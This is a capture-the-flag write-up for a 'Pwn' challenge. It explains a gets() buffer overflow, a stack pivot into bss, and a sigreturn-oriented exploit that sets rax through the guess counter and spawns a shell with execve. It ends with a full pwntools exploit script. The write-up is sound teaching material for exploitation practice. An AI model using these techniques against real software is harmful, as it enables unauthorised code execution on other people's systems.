Category: Pwn

Difficulty: Hard (85 points)

Author: azerloc

Description

I’ve made a small guessing game with my own print function. Can you exploit it?

Note

Unfortunately I didn’t manage to finish this challenge during the event itself, since I realized a crucial part about how to set the rax register 5 minutes before the end of the event, so I didn’t have enough time to edit my exploit during the event itself.

Solution

This is the decompiled game function, and this is the function we will be exploiting.

__int64 game()
{
  char buf[11]; // [rsp+5h] [rbp-1Bh] BYREF
  unsigned int v2; // [rsp+10h] [rbp-10h]
  _BYTE v3[10]; // [rsp+14h] [rbp-Ch] BYREF
  _BYTE v4[2]; // [rsp+1Eh] [rbp-2h] BYREF

  v2 = 0;
  strcpy(buf, "_________\n");
  myPrint("Guess a letter or enter '_' to submit your final answer.\n", 0x3Au);
  while ( v4[0] != 95 )
  {
    myPrint(buf, 0xAu);
    myPrint("Your input : ", 0xDu);
    __isoc99_scanf("%c", v4);
    getchar();
    ++v2;
    if ( v4[0] != 95 )
      updateString(buf, v4[0]);
  }
  myPrint("What is your final answer : ", 0x1Cu);
  gets(v3);
  if ( (unsigned int)stringCmp(v3, secret_string) )
    return 0xFFFFFFFFLL;
  else
    return v2;
}

We can see the final answer is read using gets, which doesn’t do any length checks, and thus we have a buffer overflow vulnerability.

Then checking the security of the file, we can see we don’t have PIE, so code addresses are static, but NX is enabled, so the stack isn’t executable.

Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
Stripped:   No

Checking the binary further, there is no “win” function anywhere, so we will need to get shell access. There were also no “/bin/sh” strings in the binary, so the first goal is writing this at a known address.

The way I decided to do this was to use a ROP attack to call the game function again, and editing the rbp register on the stack, which is popped at the end of game with the leave instruction. This makes it so the next time game is called it writes all it’s data in a location of our choosing, in this case I used the bss section.

So then this is the first payload we get:

payload = b"A" * 12 # Padding to reach stack return address
payload += p64(bss_addr + 0x20)  # Set rbp to bss + 0x20 to make room for local vars
payload += p64(game_rerun_addr) # Run game again so we can write to bss

Now we will build the second payload, it needs to write /bin/sh into a known address, and perform a ROP attack again to execute an execve syscall.

To do this we check what gadgets we have, we have this syscall gadget in the myPrint function if we jump to address 0x40116A.

0x401156 myPrint         proc near               ; CODE XREF: game+33↓p
0x401156                                         ; game+46↓p ...
0x401156 ; __unwind {
0x401156                 mov     rax, 1
0x40115D                 mov     rdx, rsi        ; count
0x401160                 mov     rsi, rdi        ; buf
0x401163                 mov     rdi, 1          ; fd
0x40116A                 syscall                 ; LINUX - sys_write
0x40116C                 retn
0x40116C myPrint         endp

Unfortunately this is the only good gadget there is, there are some more gadgets that can set rax to 0, and add and subtract a set number from it, but those were not really useful. This is were I went wrong during the event itself, I spent a lot of time trying to use these gadgets to set rax to 15, but that used over 500 gadget calls, which caused the payload to be too large to fit in bss.

Luckily there is a way around this, the game function does return v2; if the guessed string is correct, and since v2 is just the amount of guessed needed, we can use this to set rax to a value of our choosing.

Since we still have no gadgets to set the other registers, we will set rax to 15, so we can call the sigreturn syscall. This allows us to fake a sigcontext frame, which allows us to set all registers to our choosing, which will then allow us to do another syscall, this time an execve syscall to get shell access.

This is the second part of our payload:

# Syscall of sigreturn
payload2 = b'cyberpunk\0' # Correct guess, rax will be set to v2 = 15
payload2 += b'/bin/sh\0' # /bin/sh string
payload2 += b'A' * 2  # Padding to reach stack return address
payload2 += p64(syscall_gadget) # syscall(15), sigreturn

# Sigreturn frame that will execute execve
frame = SigreturnFrame()
frame.rax = 59 # execve
frame.rdi = bss_addr + 30 # /bin/sh string
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_gadget
frame.rsp = 0
payload2 += bytes(frame)

And that’s it, now we have shell access!

Solution Script

from pwn import *

context.arch = 'x86_64'

elf = ('./myprint')
p = process(elf)

game_rerun_addr = 0x401226
syscall_gadget = 0x40116a
bss_addr = 0x40403a

p.sendlineafter(b'Your input : ', b"_")
payload = b"A" * 12 # Padding to reach stack return address
payload += p64(bss_addr + 0x20)  # Set rbp to bss + 0x20 to make room for local vars
payload += p64(game_rerun_addr) # Run game again so we can write to bss
p.sendlineafter(b'What is your final answer : ', payload)

# Increment v2 to 15
for i in range(14):
    p.sendlineafter(b'Your input : ', b'A')
p.sendlineafter(b'Your input : ', b"_")

# Syscall of sigreturn
payload2 = b'cyberpunk\0' # Correct guess, rax will be set to v2 = 15
payload2 += b'/bin/sh\0' # /bin/sh string
payload2 += b'A' * 2  # Padding to reach stack return address
payload2 += p64(syscall_gadget) # syscall(15), sigreturn

# Sigreturn frame that will execute execve
frame = SigreturnFrame()
frame.rax = 59 # execve
frame.rdi = bss_addr + 30 # /bin/sh string
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_gadget
frame.rsp = 0
payload2 += bytes(frame)

p.sendlineafter(b'What is your final answer : ', payload2)

p.interactive()